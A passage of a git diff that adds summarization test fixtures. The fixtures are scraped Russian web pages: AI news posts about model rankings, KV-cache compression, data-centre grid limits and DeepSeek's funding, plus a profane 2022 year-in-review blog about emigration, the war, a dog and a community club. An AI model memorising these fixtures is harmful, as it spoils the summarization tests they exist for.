стек Siemens обещает кратный прирост производительности в проектировании полупроводников и тяжелых инженерных симуляциях. press.siemens.com ✔️ OpenAI, Anthropic и Google разделили лидерство в Intelligence Index 4.0. Artificial Analysis представила 4-ю версию рейтинга ИИ-моделей, зафиксировав жесткую конкуренцию между топовыми игроками. Формальное лидерство досталось GPT-5.2 (Х-High), однако Claude Opus 4.5 и Gemini 3 Pro отстают от нее с минимальным разрывом, фактически образуя тройку равных лидеров. В новой итерации индекса заметно просели абсолютные показатели: лучшие модели теперь набирают в районе 50 баллов против 73 в прошлой версии. Это связано с ужесточением методологии и ротацией тестовых наборов. На смену AIME 2025 и MMLU-Pro пришли более суровые тесты: AA-Omniscience для проверки эрудиции и склонности к галлюцинациям, GDPval-AA для прикладных задач в 44 сферах и CritPt, оценивающий способности в физических исследованиях. Итоговый балл формируется из 4-х категорий: агенты, программирование, научное мышление и общие задачи. Artificial Analysis в сети Х ✔️ Учёные из Ватерлоо научились бэкапить квантовые данные. Команда из Университета Ватерлоо решила одну из фундаментальных проблем квантовых вычислений — невозможность прямого копирования информации. Суть метода, описанного в Physical Review Letters, заключается в шифровании квантовой информации в процессе ее копирования. Как поясняют авторы, запрет на клонирование можно обойти, если создавать неограниченное количество зашифрованных дубликатов кубитов. Механизм защиты работает через одноразовые ключи: как только пользователь расшифровывает одну из копий, ключ автоматически аннулируется. Это открытие фактически легализует создание «квантового облака». Технология позволяет хранить квантовые данных на распределенных серверах и создать аналог квантового Dropbox или Google Drive. uwaterloo.ca View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 5 0 Grok 4.20: ИИ нашёл новую Bellman-функцию и продвинул сложную задачу в анализеП… 15.01.2026 У DeepSeek может быть один из самых сильных “скрытых источников финансирования”… 12.01.2026 Андрей Карпаты нашел идеальный баланс токенов и параметров для обучения LLM.Анд… 09.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_google-pokazala-interesnyj-primer-togo-kak-multimodeli-uzhe-pomogayut-v-gumanit_.txt b/tests/summarization/https___uproger.com_google-pokazala-interesnyj-primer-togo-kak-multimodeli-uzhe-pomogayut-v-gumanit_.txt new file mode 100644 index 0000000..794e0c1 --- /dev/null +++ b/tests/summarization/https___uproger.com_google-pokazala-interesnyj-primer-togo-kak-multimodeli-uzhe-pomogayut-v-gumanit_.txt @@ -0,0 +1,2 @@ +Google показала интересный пример того, как мультимодели уже помогают в гуманит… 05.01.2026 Машинное обучение ⚡️ Google показала интересный пример того, как мультимодели уже помогают в гуманитарных исследованиях. Gemini 3.0 Pro смогла расшифровать загадочные пометки в «Нюрнбергской хронике», которым более 500 лет. В модель залили сканы страниц и попросили не просто переписать текст, а объяснить, что означают заметки с учетом контекста. Оказалось, что круговые таблицы на полях были попыткой примирить две конкурирующие библейские хронологии и вычислить год рождения Авраама. Сложность состояла в том, что заметки смешивали латинские сокращения, римские цифры и обрывки надписей. Gemini связала вычисления с системой датировки Anno Mundi (год от сотворения мира), привязала их к традициям Септуагинты и еврейской Библии, а затем перевела в «до н.э.», получив расхождение примерно в 100 лет. siliconangle. com/2026/01/01/googles-gemini-3-0-pro-helps-solve-long-standing-mystery-nuremberg-chronicle/ View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 1 0 Grok 4.20: ИИ нашёл новую Bellman-функцию и продвинул сложную задачу в анализеП… 15.01.2026 У DeepSeek может быть один из самых сильных “скрытых источников финансирования”… 12.01.2026 Андрей Карпаты нашел идеальный баланс токенов и параметров для обучения LLM.Анд… 09.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_google-problema-data-czentrov-uzhe-ne-v-kupit-elektrichestvo-problema-podkl_.txt b/tests/summarization/https___uproger.com_google-problema-data-czentrov-uzhe-ne-v-kupit-elektrichestvo-problema-podkl_.txt new file mode 100644 index 0000000..f202557 --- /dev/null +++ b/tests/summarization/https___uproger.com_google-problema-data-czentrov-uzhe-ne-v-kupit-elektrichestvo-problema-podkl_.txt @@ -0,0 +1,2 @@ +Google: проблема дата-центров уже не в “купить электричество”. Проблема – подкл… 20.01.2026 Машинное обучение ⚡️ Google: проблема дата-центров уже не в “купить электричество”. Проблема – подключиться к сети Google признались в очень показательной вещи: Самое сложное в запуске новых дата-центров – не подписать контракт на электроэнергию. Самое сложное – физически подключиться к магистральной электросети (transmission grid). И там ад: в некоторых регионах ожидание подключения растягивается до 10+ лет, а один оператор вообще называл 12 лет только на исследования interconnection. То есть AI-бум упёрся не в модели и не в GPU… а в бумажки, согласования, кабели и подстанции. Что теперь главный bottleneck: чипы, электричество или подключение? Сейчас всё чаще выигрывает третий вариант: 1) Чипы – уже не единственная проблема GPU можно купить (дорого, но можно). 2) Электричество – можно законтрактовать BigTech подписывает долгосрочные power deals, строит генерацию, даже заходит в атомку. 3) А вот grid connection – это настоящий стоп-кран Потому что: – мало линий передач – всё перегружено – долгие разрешения и стройка – interconnection очереди на годы Вывод В 2026 bottleneck для ИИ всё чаще звучит так: не “где взять GPU”, а “как подключить мегаватты к дата-центру”. И это меняет игру: тот, кто быстрее строит энергетику + сеть, будет масштабировать AI быстрее всех. View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 28 0 NVIDIA KVzap: жмем KV-кэш в 4 раза.Все любят длинный контекст, но для GPU это б… 18.01.2026 🤖 Лучшие GitHub-репозитории, чтобы выучить AI с нуля в 2026 16.01.2026 CEO Cursor заявил, что они скоординировали сотни GPT-5.2 агентов, чтобы автоном… 15.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_grok-4-20-ii-nashyol-novuyu-bellman-funkcziyu-i-prodvinul-slozhnuyu-zadachu-v-analizep_.txt b/tests/summarization/https___uproger.com_grok-4-20-ii-nashyol-novuyu-bellman-funkcziyu-i-prodvinul-slozhnuyu-zadachu-v-analizep_.txt new file mode 100644 index 0000000..ac6a92d --- /dev/null +++ b/tests/summarization/https___uproger.com_grok-4-20-ii-nashyol-novuyu-bellman-funkcziyu-i-prodvinul-slozhnuyu-zadachu-v-analizep_.txt @@ -0,0 +1,2 @@ +Grok 4.20: ИИ нашёл новую Bellman-функцию и продвинул сложную задачу в анализеП… 15.01.2026 Машинное обучение 🧠 Grok 4.20: ИИ нашёл новую Bellman-функцию и продвинул сложную задачу в анализе По сообщениям, Grok 4.20 смог идентифицировать новую Bellman function, которая помогает продвинуться в одной из “тяжёлых” тем математики – на стыке: – гармонического анализа – стохастических процессов – и поведения случайных средних Самое интересное – ИИ не просто “угадал ответ”, а предложил явную формулу, основанную на времени выхода броуновского движения (exit time of Brownian motion). Результат: – удалось улучшить известную нижнюю оценку – и приблизить математическое сообщество к более точному пониманию того, как ведут себя средние значения в стохастических системах Мы входим в эпоху, где ИИ ускоряет математику не на проценты – а на порядки. ⚡️ https://x.com/PI010101/status/2011560477688463573 View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 9 0 У DeepSeek может быть один из самых сильных “скрытых источников финансирования”… 12.01.2026 Андрей Карпаты нашел идеальный баланс токенов и параметров для обучения LLM.Анд… 09.01.2026 Главные новости ИИ и Мл. OpenAI запустила ChatGPT Health.ChatGPT Health — отдел… 08.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_nvidia-kvzap-zhmem-kv-kesh-v-4-raza-vse-lyubyat-dlinnyj-kontekst-no-dlya-gpu-eto-b_.txt b/tests/summarization/https___uproger.com_nvidia-kvzap-zhmem-kv-kesh-v-4-raza-vse-lyubyat-dlinnyj-kontekst-no-dlya-gpu-eto-b_.txt new file mode 100644 index 0000000..fe86187 --- /dev/null +++ b/tests/summarization/https___uproger.com_nvidia-kvzap-zhmem-kv-kesh-v-4-raza-vse-lyubyat-dlinnyj-kontekst-no-dlya-gpu-eto-b_.txt @@ -0,0 +1,2 @@ +NVIDIA KVzap: жмем KV-кэш в 4 раза.Все любят длинный контекст, но для GPU это б… 18.01.2026 Машинное обучение 🌟 NVIDIA KVzap: жмем KV-кэш в 4 раза. Все любят длинный контекст, но для GPU это больно – KV-кэш растет линейно и быстро сжирает VRAM. Например, для Llama-65B на 128k токенов кэш весит 335 ГБ. Существующие методы прунинга либо медленные, либо тупые и режут важное, либо требуют переобучения модели. NVIDIA предложили метод KVzap, который решает, какие токены можно забыть, глядя только на текущие хидден-стэйты. 🟡Логика метода разбита на 2 этапа: Поиск идеала (KVzip+). Берется медленный, но точный метод KVzip: модели скармливают текст, заставляют его повторить, и смотрят, на какие прошлые токены она реально обращает внимание. Это золотой стандарт важности токена. Но в проде так делать нельзя, это двойная работа. Аппроксимация (KVzap). Тут и происходит вся суть: крошечная модель-суррогат смотрит на входящий хидден-стэйт токена и предсказывает, насколько этот токен будет важен в будущем, то есть пытается угадать скор KVzip. Модели 2-х видов: KVzap-Linear: простейшая линейная проекция (одна матрица). Она берет хиден-стэйт и тупо проецирует его в скалярный скор важности. Сложность: экстремально низкая (~0.02%). KVzap-MLP: двухслойный перцептрон. Внутри есть скрытый слой размером 1/8 от размерности модели и нелинейная активация. Сложность: низкая, но выше линейной (~1.1%). 🟡Все вместе это работает так Токен залетает в слой трансформера, модель-суррогат быстро считает его скор важности. Если он ниже порога – токен в кэш не пишется или удаляется. Но при этом всегда оставляется скользящее окно из последних 128 токенов, чтобы не терять локальный контекст, иначе модель сыпется. 🟡Результаты тестов. Проверяли на Qwen3-8B, Llama-3.1-8B и Qwen3-32B. Спойлер: работает везде. Удалось выкинуть до 75% KV-кэша, а это сжатие в 4 раза. На бенчмарках RULER (длинный контекст), LongBench и AIME25 падение метрик или нулевое, или меньше 1%. Оверхед от суррогатной модели мизерный – менее 1% FLOPs. 🟡Звучит, конечно, как гем, но давайте про минусы: 🟠Нужно дообучить этот маленький MLP для каждого слоя целевой модели. Датасет нужен, но процесс быстрый. 🟠Удаление токенов создает рваный кэш. У разных голов будет разное количество сохраненных токенов. Это плохо, потому что стандартные ядра Paged Attention любят структуру. Чтобы реально получить ускорение, а не только экономию памяти, нужно писать кастомные CUDA-ядра, которые смогут эффективно жевать блоки переменной длины. 🟠Порог отсечения фиксированный. Если промахнуться с ним, то модель начнет галлюцинировать или забудет начало. 🟡По итогу, KVzap – крутой шаг к тому, чтобы гонять длинные контексты на GPU попроще. Метод умнее, чем Streaming LLM, и быстрее, чем полные методы разреженного внимания. Ждем интеграции в vLLM или TRT-LLM, а пока, чтобы скрасить ожидание, NVIDIA собрала на HF интерактивный лидерборд популярных методик компрессии KV-кэша. Код и веса моделей-суррогатов из тестов пейпера в открытом доступе, так что нет никаких ограничений, чтобы не покрутить KVzap на каком-нибудь тестовом сетапе. @ai_machinelearning_big_data #AI #ML #LLM #KVZAP #NVIDIA View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 12 0 Google: проблема дата-центров уже не в “купить электричество”. Проблема – подкл… 20.01.2026 🤖 Лучшие GitHub-репозитории, чтобы выучить AI с нуля в 2026 16.01.2026 CEO Cursor заявил, что они скоординировали сотни GPT-5.2 агентов, чтобы автоном… 15.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_podrobnyj-vvodnyj-kurs-po-parsingu-na-python-2026-godav-etom-besplatnom-kurse-v_.txt b/tests/summarization/https___uproger.com_podrobnyj-vvodnyj-kurs-po-parsingu-na-python-2026-godav-etom-besplatnom-kurse-v_.txt new file mode 100644 index 0000000..7b2108f --- /dev/null +++ b/tests/summarization/https___uproger.com_podrobnyj-vvodnyj-kurs-po-parsingu-na-python-2026-godav-etom-besplatnom-kurse-v_.txt @@ -0,0 +1,2 @@ +Подробный вводный курс по парсингу на Python 2026 годаВ этом бесплатном курсе в… 09.01.2026 Машинное обучение 🖥 Подробный вводный курс по парсингу на Python 2026 года В этом бесплатном курсе вы шаг за шагом научитесь собирать данные с веб-сайтов с помощью Python. Мы начнём с основ парсинга (скрапинга) – автоматического сбора информации с веб-страниц – и постепенно перейдём к более продвинутым темам. Материал разбит на модули с понятными примерами и практическими заданиями после каждой темы. Курс рассчитан на начинающих и продолжающих (junior/middle) разработчиков, знакомых с основами Python. 📌 Гайд View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 10 0 Google: проблема дата-центров уже не в “купить электричество”. Проблема – подкл… 20.01.2026 NVIDIA KVzap: жмем KV-кэш в 4 раза.Все любят длинный контекст, но для GPU это б… 18.01.2026 🤖 Лучшие GitHub-репозитории, чтобы выучить AI с нуля в 2026 16.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_u-deepseek-mozhet-byt-odin-iz-samyh-silnyh-skrytyh-istochnikov-finansirovaniya_.txt b/tests/summarization/https___uproger.com_u-deepseek-mozhet-byt-odin-iz-samyh-silnyh-skrytyh-istochnikov-finansirovaniya_.txt new file mode 100644 index 0000000..c9d4feb --- /dev/null +++ b/tests/summarization/https___uproger.com_u-deepseek-mozhet-byt-odin-iz-samyh-silnyh-skrytyh-istochnikov-finansirovaniya_.txt @@ -0,0 +1,2 @@ +У DeepSeek может быть один из самых сильных “скрытых источников финансирования”… 12.01.2026 Машинное обучение 💰 У DeepSeek может быть один из самых сильных “скрытых источников финансирования” в AI – хедж-фонд его основателя. Речь про Ляна Вэньфэна (Liang Wenfeng) и его фонд Zhejiang High-Flyer Asset Management. По данным Bloomberg, 2025 год у них получился просто феноменальным: средняя доходность по фондам – 56.6%. Почему это важно для DeepSeek? Потому что такие результаты дают не просто “успешный год на рынке”, а реальные деньги, которыми можно оплачивать развитие ИИ: – зарплаты сильной команде – закупку GPU – серверы, сети, дата-центры – всё железо, без которого LLM не масштабируются Ключевые факты: – High-Flyer управляет капиталом более $10 млрд – занял 2-е место среди китайских квант-фондов с капиталом > $1.4 млрд – фонд заработал +56% → эти деньги фактически остаются у владельца фонда (Ляна). – если прикинуть выручку по стандартной схеме 1% management fee + 20% performance fee, получается $700+ млн – и это выглядит особенно мощно на фоне того, что бюджет DeepSeek на “топопвые” модели оценивался менее чем в $6 млн Интересный момент: в 2024 фонд отошёл от market-neutral и сделал ставку на long-only стратегии (покупка акций в расчёте на рост). А когда сразу несколько топ-квант-фондов показывают 50-70%+ за один год – это чаще говорит о том, что рынок был очень удачным для их системных стратегий, а не о единичной “везухе”. В среднем китайские квант-фонды показали 30.5% за 2025 – больше чем в 2 раза выше глобальных конкурентов. DeepSeek может иметь редкое преимущество – внутренний финансовый двигатель, который способен стабильно оплачивать масштабирование AI, не зависеть от раундов и инвесторов. View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 5 0 Grok 4.20: ИИ нашёл новую Bellman-функцию и продвинул сложную задачу в анализеП… 15.01.2026 Андрей Карпаты нашел идеальный баланс токенов и параметров для обучения LLM.Анд… 09.01.2026 Главные новости ИИ и Мл. OpenAI запустила ChatGPT Health.ChatGPT Health — отдел… 08.01.2026 +============== diff --git a/tests/summarization/https___vas3k.blog_blog_2022_.txt b/tests/summarization/https___vas3k.blog_blog_2022_.txt new file mode 100644 index 0000000..f2faae0 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_blog_2022_.txt @@ -0,0 +1,2 @@ +2021, 2020, 2019, 2018, 2017, 2016, 2015, 2014, 2013, 2012, 2011, 2010, 2009, 2008 Фотографию в заголовке я снял 20 февраля 2022 года. Через четыре дня начнётся война и наша жизнь разделится на «до» и «после». Даже драматическое начало прошлых итогов года, где мы сходили с ума после двух лет ковидных локдаунов, уже кажется каким-то наивным эхом из прошлого. Тогда у нас хотя бы была надежда. Больше надежды нет, кругом лишь тьма и мракобесие. Писать «итоги года 2022» не было смысла, потому что, очевидно, война затмила бы всё в каждой номинации. Событие года, разочарование года, опыт года — везде одна ебучая война. Отныне мы живём в истинно анти-утопическом мире, где доброта неприемлема и осуждается, а ненависть поощряется, выносится наверх и становится новой нормой. Все, кто создавал и вдохновлял — ушли. Или залегли на дно. Те, кто ненавидел, разжигал и уничтожал — теперь герои. К сожалению, пока я не смог принять правила новой игры. Мне искренне не понять как можно в 21 веке щелчком пальцев демонизировать целые страны и народы под всеобщее улюлюканье. Я думал такое бывает только в книжках Сорокина или в исторической хронике про нацистов. Может потому что я вырос в 90-х в Сибири, где у всех по сути была одна цель — выживание. Потому мы как-то не делили людей на классы, национальности, цвета, а судили каждого по поступкам. Да и то всегда старались как-то организовываться, держаться вместе и помогать друг другу — иначе было не выжить в той нищете и холоде. И уж тем более не вырваться из неё. Именно поэтому для меня все происходящее в этом году — абсолютное людоедство. Не потому что я человек высокой морали или очередной «хороший русский», прикрывающийся израильским паспортом. Нет, я абсолютно отвратительный русский, съебавший в Европы сразу после универа, с детства мечтавший просто жить там, где не нужно постоянно выживать и превозмогать, а тебе просто не мешают делать свои клёвые штуки. От того давно забивший болт на «страну», еще когда впервые получил пизды на митингах после очередного переизбрания ебучего Путина. Несмотря на весь непробудный мрак и ненависть со всех сторон, я все-таки решил написать эти итоги года. Иначе от нас останется только черная дыра, а это будет означать одно — зло победило. Нет уж. Пусть лучше они идут нахуй, а мы выживем. 1 комментарий 64 Даниил Скоринкин Ну собсно теперь цель всего мира как у Новосибирска 90-х: выживание. Просто Путин решил всем устроить Новосибирск 90-х. Пережили то, переживем и это. Привет от другом отвратительного русского, который в апреле тоже съебал в Германию. Фрохе вайнахтен, еу. Войти и написать Событие года 🐶 КУКЕС Моя самая главная новость — мы завели собаку. Я всегда был собачник, прожил с псом всё детство до самого универа, но в сознательной жизни я считал, что собака — слишком большая ответственность. Но в этом году меня-таки переубедили. И вот, пока я пишу эти строки, пёс лежит у меня подмышкой. Его зовут Куки. Да, как те штуки, которые вы принимаете на всех сайтах. Он любит спать сверху на человеках, бесоёбить и мячи. Он смесь корги и ретривера, но это не точно. Еще он чёрный, потому никогда не получается на фотках. В это (католическое) рождество Куки исполнилось два года. Никто не знает точно, потому что его нашли на улице где-то в Нижневартовске. Его забрал фонд в Москве, который занимается пристройством таких вот поцанов в Европы, так как европейские хозяева считаются очень ответственными и желанными. Поцан полетел самолётом в Москву, где был пристроен на два месяца на деньги фонда (им можно донатить, что я рекомендую). Потом псов показывают в инстаграме и потенциальные хозяева пишут и проходят собеседования. Лена была подписана на все инстаграмы приютов уже год и вот однажды показала мне Кукиса. Я посмотрел видео, фото и согласился. Собеседование оказалось не сильно страшным (не как в FAANG) — просят снять на видео квартиру, рассказать о себе, был ли опыт с животными, и.т.д. В общем, попросту проверяют насколько ты адекват и как серьезны твои намерения. Потому что бывают такие, которые просто по пьяни решили «хочу собачку», а на утро выбросили её. Их нужно отбивать. Это норм, я согласен. Всё это по прежнему на порядок проще, чем взять собаку из приюта в той же Германии. Здесь тебе всю душу вытрясут, затребуют банковские выписки за пять лет, планы квартиры, анкеты по десять страниц, а потом жди в очереди три года. Потому даже немцы предпочитают брать из приютов в других странах. Дальше поцанов раз в неделю-две развозят на машинах по новым хозяевам. Сначала везут до Таллина, где пёселям делают новые прививки и паспорта, а потом на пет-такси хоть до самой Испании. Стараются ехать без долгих остановок, так что нам в Берлине пришлось забирать кукиса аж в 4 утра. Денег особо не просят, разве что «страховой депозит» 350 евро на случай отказа или типа того, я не помню уже. Нам повезло, у Кукиса нет особых травм, как у многих других псов из приюта (это главная их проблема). Он не воет, не грызет диваны, нормально остается один дома, разве что дико угорает по мячам — не может сдержаться если видит на улице любой круглый предмет. Но за полгода с нами стал намного более послушным. Вот теперь у нас новый член семьи, да. Мы с ним даже в Норвегию уже съездили. Вот он охуел, наверное, после Сибири. САМВАН СЕЙД КУКИС??? 5 комментариев 3 Sergei Poliakov сладок пас! 7 Dmitriy Uporov Можно ссылку, куда донатить? 6 Сергей Кутовой Пытался accept'нуть куки на скриншоте 26 Aidar Garafutdinov Пёс вырвался из Нижневартовска в Европу, а я нет( 6 Rustam Komildzhonov А можно ссылку на приюты? Войти и написать Проекты года ✖ Клуб Вастрик.Клуб все еще составляет большую часть моей «нерабочей» жизни и, как можно догадаться, в этом году он пострадал больше всех. Когда Россиянам и Беларусам заблокировали карты, мы моментально потеряли по сути 80% доходов. Нас немного спасло, что подписки у нас годовые, у людей было время. Для тех же, у кого подписка скоро истекала, мы продлевали аккаунты бесплатно. «Просто подключить бусти» было не вариантам по идеологическим причинам (платить комиссию путинскому олигарху? вы серьезно?), ну и плюс непонятно как выводить эти рубли потом. Мы подключили крипту, но ее тоже потом забанили одним из пакетов санкций ЕС против русни. Короче, жопа. Со временем народ стал заводить себе новые карты и заносил долор другими способами (включая пивом), но даже под конец года мы всё еще не вернулись к показателям конца прошлого. Патреон же уничтожен почти полностью. Пока я веду его как раньше, но в новом году буду думать что с ним делать. И с блогом тоже. Несмотря на всё, Клуб всё же выжил. У нас были относительно небольшие расходы на существование и много лояльных юзеров, которым Клуб нанёс много пользы и они готовы были поддерживать его даже в трудное время. Круто снова иметь место в интернете, где люди не боятся делиться своим реальным опытом Дальше надо было понять что делать с коммьюнити. 24 февраля стал водоразделом для многих интернет-коммьюнити. Одни радикализировались — Лепра и Пикабу превратились в зиговальни, а Хабр и VC надели белое пальто про «вне политики» и стали существовать как будто в параллельной вселенной, никому уже не интересной. Мы много обсуждали что делать с ядром коммьюнити и пришли к мысли, что происходит полный пиздец, о котором нельзя молчать и делать вид как будто мы скраю, но и радикализироваться мы тоже не хотим. Нашей главной ценностью всегда была взаимопомощь, а в военное время именно она и выходит на первое место. Значит нужно еще больше топить за нее, а не ломать все. Потому мы поставили целью промогать всем вне зависимости от цвета паспорта, кожи, национальности и прочих вещей, которые люди не могут выбирать. Судить только по словам и поступкам. Некоторых это не устроило — для них мы вынесли кнопку удаления аккаунта повыше и провели пару сессий профилактических вечных банов. После чего стало хорошо. Люди сплотились и начали организовывать кучу всего по мере своих возможностей — мета-посты с подборками важных ссылок, волонтерские чатики, помощь бегущим от войны в разных городах, Вастрик.Бартер, где можно было попросить прямой помощи с доставкой вещей или обменом валют, сеансы лечения кукухи в Доброчате, поднимать VPN’ы для «своих», всего уже не припомню. Постов и новых юзеров стало меньше, зато оффлайн-движуха завелась просто на максимум. Так как мы изначально строили сеть клубных чатиков полностью децентрализованной (со своими модераторами и правилами), я даже не знаю всех историй, которые там происходили. Я даже устроил себе мини-евротрип, проехав кружок через Будапешт, Белград, Черногорию, встречаясь везде с кучей новых ребят, которые рассказывали как им помог Клуб быстро освоиться в новом месте и говорили спасибо. Это немного вернуло мне веру в то, что в новом мире тотальной ненависти те ценности, которые мы всегда преследовали, кому-то еще важны. Клуб помог намного большему количеству людей, чем улюлюкающие дебилы в твиттере. Хотя мы и потеряли много хороших ребят, отменили кучу планов (мерч, например), а по доходам просели ниже средней зарплаты айтишника — теперь я хотя бы верю, что стоит продолжать этот пет-проджект. Рано закрываться. У нас вроде получилась неплохая площадка, потому следующем году нужно еще поднажать на организацию коммьюнити изнутри. Организовывать чатики, барахолки, каналы с новостями, дайджест, нормальные сходки и все остальное, что есть у других больших сообществ, но у нас не хватает рук и умений. Может кто-нибудь хочет попробовать в коммьюнити-менеджмент на парт-тайм? Со сходки в Будапеште 6 комментариев 1 Олег Никитин "Потому мы поставили целью промогать" - лишняя Р в последнем слове) 32 Denis Kachnov "забанили одним из пакетов санкций ЕС против русни" Мдааа... вот за что я любил клуб, так это за нетоксичность. 0 Svetlana Pichugina Да, в самом начале, когда я поняла, что деньги в клубе и на digital ocean, где развернут впн для твитора, заканчиваются, заюзала не без помощи мужа moonlight кажется. Он потом быстро перестал работать, зато оплатила все, даже налог немецкий (это меня особенно порадовало почему-то)! Так радовалась, вытороговала себе в этом мире кусочки нормальности 0 Alexander Черт, а как так вышло, что Лепра-то зиганула? И даже ТЖ теперь нет, чтобы об этом почитать. 0 Вастрик Alexander, ну дык на Лепре средний возраст оставшейся аудитории нам уже в отцы годится, так что не удивительно, что они решили придерживаться «консервативных» ценностей, если это можно так назвать 6 Ivan A. А как начать пробовать коммьюнити-менеджить парт-тайм? Войти и написать 🚜 How to Berlin How to Berlin сначала тоже знатно разъебало. Начало года Лена работала практически за еду. Все бежали отовсюду и молили о помощи, на каждый кейс требовалась куча времени, а брать за это деньги было просто неэтично. Появились даже первые хейтеры, которые агрессивно требовали, чтобы мы выложили все свои материалы и помогали людям бесплатно. Потребовалось несколько месяцев чтобы оклиматься и пересобраться. И забить на хейтеров, которые всё равно теперь везде. Где-то к лету поток стабилизировался, люди стали переезжать чуть более осознанно. Им уже хоть как-то можно было помогать, а не разочаровывать ответами, что сорян, так не работает, лучше рассмотреть другие варианты стран, хотя бы на время. Проблем, конечно, добавилось. Если раньше люди релоцировались из понятных стран, то теперь 90% запросов было из Турции, Грузии и прочих Армений. Пришлось научиться разбираться не только с немецкой бюрократией, но и бюрократией всех этих стран, что усложняло работу прям на порядок. С другой стороны, у нас появились первые постоянные бизнес-клиенты, и даже несколько. Это когда компании хотят платить нам напрямую, чтобы мы релоцировали их сотрудников. В2В-контракты дороже и стабильнее, главное — не утонуть в них насовсем, чтобы не превратиться в бездушное бизнес-релок-агенство, коих тут большинство. Всё это позволило хау ту берлинчику даже закончить год в плюсе по сравнению с прошлым (в отличии от Клуба). И это круто. Кажется, у него даже больше перспектив сейчас, чем у всего моего онлайнового. Очень радею за Лену и девочек. Подписывайтесь на телеграм-канал, кстати. Там Оля пишет всякие новости и лайфхаки о жизни в Берлине. 3 комментария 8 Daniil Olshevskiy Это круто, благодаря вам все больше людей понимают, что берлин лучший для релокации и идут именно туда, что делает город только лучше. Интересно, а как там другие франшизы, был же еще франкфурт? 2 Вастрик Daniil Olshevskiy, был, но с франшизами пока тяжело. Нужны хорошие партнеры, которые горят этим, но при этом готовы много работать (и поначалу скорее всего даже за копейки), а это дело небыстрое. Так что по Германии помогаем в меру возможностей, а остальные страны пока на паузе (были планы на Лондон и Лиссабон). 1 Denis Kudryavtsev Надеюсь, что одного б2б клиента привел я через hr канал в слаке, там по итогу отметилось 29 читателей вастрека :) Войти и написать Покупки года 💾 Minis Forum U820 Недавно как раз писал что это за пепяка в посте Дом-дурачок: 3 года спустя. Там было много и подробно. Это Mini PC на Core i5 с полноценной Убунтой. Я просто внезапно устал от кучи Raspberry Pi, разбросанных по дому, и решил собрать всё на одном хоум-лабе — чтобы и умный дом, и бекапы, и все остальные домашние сервисы были в одном месте. Получилось отлично, пока нравится. Не жужжит, электричества жрёт немного, плюс есть надежда, что он будет реже ломаться, чем каждый Raspberry Pi по отдельности. 2 комментария 2 Богдан Ржеусский А с малинками были какие-то проблемы с надёжностью? Сам пока ни одной не имел, но звучит довольно неожиданно 1 Вастрик Богдан Ржеусский, все кумплюктеры время от времени ломаются. С малинками основные проблемы были с дохнущими с годами SD картами, но сами они достаточно надежны даже в режиме 24/7 Войти и написать ⌨️ Apple Magic Keyboard for iPad Давно уже ищу способ не брать с собой 15-дюймовый макбук в отпуска и небольшие поездки, в которых он с вероятностью 99% будет использован только один раз, чтобы поправить что-то на сервере или написать имейл. Сначала делал всё с телефона, но на нем нифига не удобно набирать тексты, ревьювить код и делать прочие сложные операции, требующие нескольких приложений одновременно. Потом купил китайский чехол-клавиатуру для айпада с Амазона. Было отвратительно, только деньги выбросил. Не смог ей пользоваться вообще. Айпад стоит неправильно, клавиши гремят, блютус постоянно отваливается. Полная глупость, короче. Приспособил ее для управления Raspberry Pi когда надо что-то быстро пофиксить. Хоть так пригодилась. В итоге Лена пожалела меня и подарила мне фирменную клавиатуру. Все-таки небо и земля. Она превращает айпад в практически ноутбук — открыл и вуаля, можно сразу работать, даже тачпад есть. Кусок этого поста был написан вот так Самое бесячее — это переключение языков отдельной клавишей. Оно работает пиздец медленно, потому я страдаю каждый раз, когда нужно набрать слово латиницей в тексте. Apple, блять, ну почему нельзя было просто сделать как в маке по Cmd+Space? Ну и жду, конечно, когда на iPad OS появится полноценная многооконность. Но пока и так заебись. Двухнедельный балканотрип показал, что в таком виде айпад заменяет ноутбук по всем моим юзкейсам, которые не касаются написания кода. А вот с кодом, конечно, все еще беда. inb4: Лучше бы просто Macbook Air взял, дурачок 3 комментария 7 ReDetection да, переключение языков – это какая-то жесть. я иногда использую iPad в режиме sidecar, и вот всё круто, кроме переключения языка. на маке английская, на айпаде английская, но буквы появляются русские. сука! 3 Nickolay Kopylov У меня на Magic Keyboard работает Ctrl+Space. Apple в какой-то момент поменяли стандартную схему и на Mac и на iPad на Ctrl+Space вместо Cmd+Space. Это бесит, но факт. Ещё можно настроить переключение по Caps Lock, и оно тоже норм работает по ощущениям. Я на Mac тоже включил и иногда пользуюсь, помогает привыкать и не страдать от планшета. Но по Cmd+Space очень скучаю. 4 Semyon Martynchik У меня тоже клавиатура к iPad — чуть ли не покупка года. Взял Magic Keyboard Folio зажмурившись от цены. Большое преимущество — незначительно увеличивает вес (iPad + клавиатура = 730 грамм). Пользуюсь периодически, когда нужно набрать заметку, письмо написать или длинное сообщение. Несколько раз уезжал без ноута в соседнюю страну и не страдал. Приспособить планшет под хоть какую-то работу, кроме текстов, не получается. Максимум — SSH-терминал и не дай Боже переключиться на браузер слишком надолго. Кругом костыли и ограничения. Но кажется переход на 14 дюймовый MacBook отменяет необходимость этой клавиатуры, потому что все равно я теперь буду таскать с собой его _ Войти и написать 🧥 Rip Curl Anti-Series Hoodie Продолжаем традицию рекомендовать странные шмотки в конце года. В этом году я зашел в Кейптауне в магазин Rip Curl (сёрферские шмотки, как Quicksilver) чтобы найти себе чуть более тёплый худи и обнаружил вот этот. Кайфую от него весь год. Rip Curl пытался сделать «ультимативный сёрферский худи», а получилось идеальное худи как бы его делал я. Снаружи — водоотталкивающее покрытие, чтобы не промокать насквозь в дождь. Внутри — специальная ткань примерно как та, из которых делают гидрокостюмы. Её легко надевать на мокрое тело. Худи специально удлинено, чтобы прикрывать жопу от ветра. Каждая молния отделана специальной резинкой, чтобы не пропускать влагу и не ломаться. Короче, максимально рекомендую! Серферская одежда вообще приятно удивляет — майки длинные, худи тёплые и водооталкивающие, кайф. На следующей распродаже закуплю еще пару штук, а то их 